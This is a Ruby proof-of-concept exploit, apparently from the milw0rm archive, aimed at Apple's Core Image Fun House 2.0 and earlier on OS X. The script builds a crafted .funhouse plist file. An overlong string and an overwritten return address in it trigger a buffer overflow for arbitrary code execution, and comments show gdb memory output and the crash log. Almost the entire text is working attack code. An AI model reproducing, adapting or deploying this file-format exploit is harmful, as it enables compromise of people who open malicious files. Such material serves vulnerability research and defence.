Core Image Fun House <= 2.0 Arbitrary Code Execution PoC (OSX)

#!/usr/bin/ruby # Copyright (c) Netragard, LLC. adriel@netragard.com # # /Developer/Applications/Graphics Tools/Core Image Fun House.app # /Contents/MacOS/Core Image Fun House # # (gdb) x/10s 0xbfffddf7 # 0xbfffddf7: &#39;Z&#39; &#60;repeats 101 times&#62;, &#34;DCBA center&#34; # # 2007-07-10 21:15:34.573 Core Image Fun House[1061] CFLog (0): # CFPropertyListCreateFromXMLData(): plist parse failed; # the data is notproper UTF-8. The file name for this data # could be: $ # /Users/test/Desktop/SuperTastey.funhouse/file.xml # The parser will retry as in 10.2, but the problem should be # corrected in the plist. # # \x80-\xFF range that do not form proper utf8 len = 300 fname = &#34;SuperTastey&#34; retaddr = 0x0d0d0d0d # There are lots of filtered chars! if File.exist?(fname + &#34;.funhouse/file.xml&#34;) File.unlink(fname + &#34;.funhouse/file.xml&#34;) Dir.rmdir(fname + &#34;.funhouse&#34;) end Dir.mkdir(fname + &#34;.funhouse&#34;) FUNSTUFF = &#34;&#60;?xml version=\&#34;1.0\&#34; encoding=\&#34;UTF-8\&#34;?&#62;&#34; + &#34;&#60;!DOCTYPE plist PUBLIC \&#34;-//Apple Computer//DTD PLIST 1.0//EN\&#34; \&#34;http://www.apple.com/DTDs/PropertyList-1.0.dtd\&#34;&#62;&#34; + &#34;&#60;plist version=\&#34;1.0\&#34;&#62;&#34; + &#34;&#60;dict&#62;&#34; + &#34;&#60;key&#62;layers&#60;/key&#62;&#34; + &#34;&#60;array&#62;&#34; + &#34;&#60;dict&#62;&#34; + &#34;&#60;key&#62;file&#60;/key&#62;&#34; + &#34;&#60;string&#62;&#34; + &#34;Z&#34; * len + [retaddr].pack(&#34;V&#34;) + &#34;&#60;/string&#62;&#34; + &#34;&#60;key&#62;offsetX&#60;/key&#62;&#34; + &#34;&#60;real&#62;0.0&#60;/real&#62;&#34; + &#34;&#60;key&#62;offsetY&#60;/key&#62;&#34; + &#34;&#60;real&#62;0.0&#60;/real&#62;&#34; + &#34;&#60;key&#62;type&#60;/key&#62;&#34; + &#34;&#60;string&#62;image&#60;/string&#62;&#34; + &#34;&#60;/dict&#62;&#34; + &#34;&#60;dict&#62;&#34; + &#34;&#60;key&#62;classname&#60;/key&#62;&#34; + &#34;&#60;string&#62;CIGlassDistortion&#60;/string&#62;&#34; + &#34;&#60;key&#62;type&#60;/key&#62;&#34; + &#34;&#60;string&#62;filter&#60;/string&#62;&#34; + &#34;&#60;key&#62;values&#60;/key&#62;&#34; + &#34;&#60;dict&#62;&#34; + &#34;&#60;key&#62;inputCenter_CIVectorValue&#60;/key&#62;&#34; + &#34;&#60;string&#62;[150 150]&#60;/string&#62;&#34; + &#34;&#60;key&#62;inputScale&#60;/key&#62;&#34; + &#34;&#60;real&#62;200&#60;/real&#62;&#34; + &#34;&#60;key&#62;inputTexture&#60;/key&#62;&#34; + &#34;&#60;string&#62;&#34; + &#34;Z&#34; * 50000 + &#34;&#60;/string&#62;&#34; + &#34;&#60;/dict&#62;&#34; + &#34;&#60;/dict&#62;&#34; + &#34;&#60;/array&#62;&#34; + &#34;&#60;/dict&#62;&#34; + &#34;&#60;/plist&#62;&#34; + &#34;\n&#34; target_file = File.open(&#34;SuperTastey.funhouse/file.xml&#34;, &#34;w+&#34;) { |f| ~ f.print(FUNSTUFF) # weeeeee... lets have fun. ~ f.close } # milw0rm.com [2008-07-11]